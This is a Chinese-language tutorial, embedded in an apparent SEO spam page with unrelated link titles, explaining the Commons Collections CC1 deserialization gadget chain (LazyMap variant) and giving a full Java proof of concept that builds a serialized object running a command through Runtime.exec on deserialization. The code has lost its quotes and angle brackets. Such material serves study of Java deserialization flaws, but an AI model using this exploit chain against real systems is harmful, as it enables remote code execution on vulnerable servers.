当前位置: 首页 > news >正文

顶呱呱做网站13岁找对象去哪个软件

顶呱呱做网站,13岁找对象去哪个软件,淘宝网站建设类目需要什么资质,h5设计制作是什么Java安全 反序列化(4) CC1链-LazyMap版 实验环境:存在漏洞的版本 commons-collections3.1-3.2.1 jdk 8u71之后已修复不可利⽤ 文章目录 Java安全 反序列化(4) CC1链-LazyMap版一.跟踪挖掘CC1_LazyMap原理二.完整CC1_Lazy版Poc 接着上一篇文章我们通过ChainedTransFormer实现任意…Java安全 反序列化(4) CC1链-LazyMap版 实验环境:存在漏洞的版本 commons-collections3.1-3.2.1 jdk 8u71之后已修复不可利⽤ 文章目录 Java安全 反序列化(4) CC1链-LazyMap版一.跟踪挖掘CC1_LazyMap原理二.完整CC1_Lazy版Poc 接着上一篇文章我们通过ChainedTransFormer实现任意命令执行 Transformer[] transformersnew Transformer[]{new ConstantTransformer(Runtime.class),new InvokerTransformer(getMethod,new Class[]{String.class,Class[].class},new Object[]{getRuntime,new Class[0]}),new InvokerTransformer(invoke,new Class[]{Object.class,Object[].class},new Object[]{null,new Object[0]}),new InvokerTransformer(exec,new Class[]{String.class},new Object[]{calc})};ChainedTransformer chainedTransformernew ChainedTransformer(transformers);这篇文章探究从另个方向实现ChainedTransformer的执行 一.跟踪挖掘CC1_LazyMap原理 查看transformer的用法 在LazyMap.get()方法调用了factory.transform(key) 前提是保证LazyMap中的键(Key)为空 LazyMap可以理解为懒惰的Map集合 本身就没有Key值的传递 这个判断是可以直接过的 和TransformerMap一样protected构造函数仅仅被内部访问通过公共静态方法decorate构造 接受Map和Factory 可以尝试调用实例化后的LazyMap.get方法 Transformer[] transformersnew Transformer[]{new ConstantTransformer(Runtime.class),new InvokerTransformer(getMethod,new Class[]{String.class,Class[].class},new Object[]{getRuntime,new Class[0]}),new InvokerTransformer(invoke,new Class[]{Object.class,Object[].class},new Object[]{null,new Object[0]}),new InvokerTransformer(exec,new Class[]{String.class},new Object[]{calc})};ChainedTransformer chainedTransformernew ChainedTransformer(transformers);HashMapObject,Object hashmapnew HashMap();MapObject,Object lazymap LazyMap.decorate(hashmap,chainedTransformer);lazymap.get(1);现在的问题是如何调用LazyMap.get()方法 我们可以和上篇文章一样通过AnnotationInvocationHandler作为入口类 AnnotationInvocationHandler本意就是动态代理的调用类Invocation Hanndler invoke方法方法判断 进行了两个判断 第一的判断调用的方法名不能是equals 第二个判断了方法参数为0 也就是无参方法 比较巧合的一件事是在AnnotationInvocationHandler的readobject中 可控的memberValues调用了entrySet方法 恰好是个无参方法 那么我们的思路就非常明确了 给MapString, Object memberValues套一层动态代理调用的处理类也是AnnotationInvocationHandler就可以触发get方法实现RCE 参考上篇文章我们如何控制通过反射控制AnnotationInvocationHandler Class annotation Class.forName(sun.reflect.annotation.AnnotationInvocationHandler);Constructor annotationDeclaredConstructor annotation.getDeclaredConstructor(Class.class,Map.class);annotationDeclaredConstructor.setAccessible(true);InvocationHandler annotationInvocationHandler (InvocationHandler) annotationDeclaredConstructor.newInstance(Target.class,lazymap);这里创建动态代理 在运行期动态创建一个interface实例的方法如下 定义一个InvocationHandler实例它负责实现接口的方法调用 通过 Proxy.newProxyInstance()创建interface实例它需要3个参数 使用的ClassLoader通常就是接口类的ClassLoader需要实现的接口数组至少需要传入一个接口进去用来处理接口方法调用的InvocationHandler实例。 将返回的Object强制转型为接口。 Proxy.newProxyInstance(LazyMap.class.getClassLoader(),new Class[]{Map.class},annotationInvocationHandler);然后再将动态代理Proxy作为参数传递给AnnotationInvocationHandler类生成实例化反序列化后readobject自动触发 代理类 的 无参方法进入代理的处理类invoke,走LazyMap的get方法从而将整个链子打通 MapObject,Object mapproxy (MapObject, Object) Proxy.newProxyInstance(LazyMap.class.getClassLoader(),new Class[]{Map.class},annotationInvocationHandler);Object o annotationDeclaredConstructor.newInstance(Target.class,mapproxy);可以执行命令 二.完整CC1_Lazy版Poc import org.apache.commons.collections.Transformer; import org.apache.commons.collections.functors.ChainedTransformer; import org.apache.commons.collections.functors.ConstantTransformer; import org.apache.commons.collections.functors.InvokerTransformer; import org.apache.commons.collections.map.LazyMap;import java.io.*; import java.lang.annotation.Target; import java.lang.reflect.Constructor; import java.lang.reflect.InvocationHandler; import java.lang.reflect.InvocationTargetException; import java.lang.reflect.Proxy; import java.util.HashMap; import java.util.Map;public class CC1_LazyMap {public static void main(String[] args) throws ClassNotFoundException, InvocationTargetException, InstantiationException, IllegalAccessException, NoSuchMethodException, IOException {Transformer[] transformersnew Transformer[]{new ConstantTransformer(Runtime.class),new InvokerTransformer(getMethod,new Class[]{String.class,Class[].class},new Object[]{getRuntime,new Class[0]}),new InvokerTransformer(invoke,new Class[]{Object.class,Object[].class},new Object[]{null,new Object[0]}),new InvokerTransformer(exec,new Class[]{String.class},new Object[]{calc})};ChainedTransformer chainedTransformernew ChainedTransformer(transformers);HashMapObject,Object hashmapnew HashMap();MapObject,Object lazymap LazyMap.decorate(hashmap,chainedTransformer);Class annotation Class.forName(sun.reflect.annotation.AnnotationInvocationHandler);Constructor annotationDeclaredConstructor annotation.getDeclaredConstructor(Class.class,Map.class);annotationDeclaredConstructor.setAccessible(true);InvocationHandler annotationInvocationHandler (InvocationHandler) annotationDeclaredConstructor.newInstance(Target.class,lazymap);Map mapproxy (Map) Proxy.newProxyInstance(LazyMap.class.getClassLoader(),new Class[]{Map.class},annotationInvocationHandler);Object o annotationDeclaredConstructor.newInstance(Target.class,mapproxy);serialize(o);unserialize();}public static void serialize(Object obj) throws IOException {ObjectOutputStream oos new ObjectOutputStream(newFileOutputStream(ser.bin));oos.writeObject(obj);oos.close();}public static void unserialize() throws IOException, ClassNotFoundException{ObjectInputStream ois new ObjectInputStream(newFileInputStream(ser.bin));ois.readObject();ois.close();} } CC1链的Transformer和LazyMap都依赖了AnnotationInvocationHandler作为入口类 jdk 8u71之后已修复不可利⽤因为jdk高版本后 开发者修改AnnotationInvocationHandler的代码 下篇探究CC6 实现无视JDK版本实现RCE
http://www.pierceye.com/news/966381/

相关文章:

  • 专注做一家男生最爱的网站北京旅游设计网站建设
  • c 做网站凡科网站免费版怎么做
  • 门户网站开发多少钱wordpress主题文章页面不显示
  • 网站建设丶金手指下拉13个人网站有什么用
  • 企业网站建设解决方案wordpress搜索不了中文linux
  • 怎样在网站上做有效的广告投放手机网站公司哪家好
  • 四川德行天下建设工程有限公司网站ie兼容所有网站
  • 网站seo诊断免费php源码网
  • 微信公众号商城网站开发湖南省新闻最新消息十条
  • 如何做网站家具导购做哈尔滨本地门户网站赚钱吗
  • 建立网站的步骤有哪些wordpress 主题
  • 网站功能建设中页面个体户做网站有用吗
  • 网站建设具体要求wordpress启用注册
  • 重庆好的网站建设公司车辆管理网站开发
  • 十大SEO网站外链建设误区城乡住房建设部网站保证金
  • 自己做一元夺宝网站dede 管理多个网站
  • 做app还是做微网站好聚美网站开发开题报告
  • 网站建设总结与科技网站建设+长沙
  • 网博士自助建站系统手机wap网站程序
  • 做网站有什么不好竞价广告
  • 个人网站 cms企业做网站的好处有哪些
  • 公司做网站的费用入账国内电商平台网站制作排行榜
  • 做网站电脑开一天用多少钱怎么做网页动图
  • 织梦做网站教程网站风格要求
  • 网站制作用什么编程百度贴吧网页版登录
  • 站长之家ip查询雄安哪里在建设
  • wdcp创建网站网站开发如何找甲方
  • 做网站运营用什么软件高校支付网站建设费需要入无形资产
  • 在那个网站做ppt可以赚钱网页代码怎么看
  • 免费做企业网站广州萝岗网站建设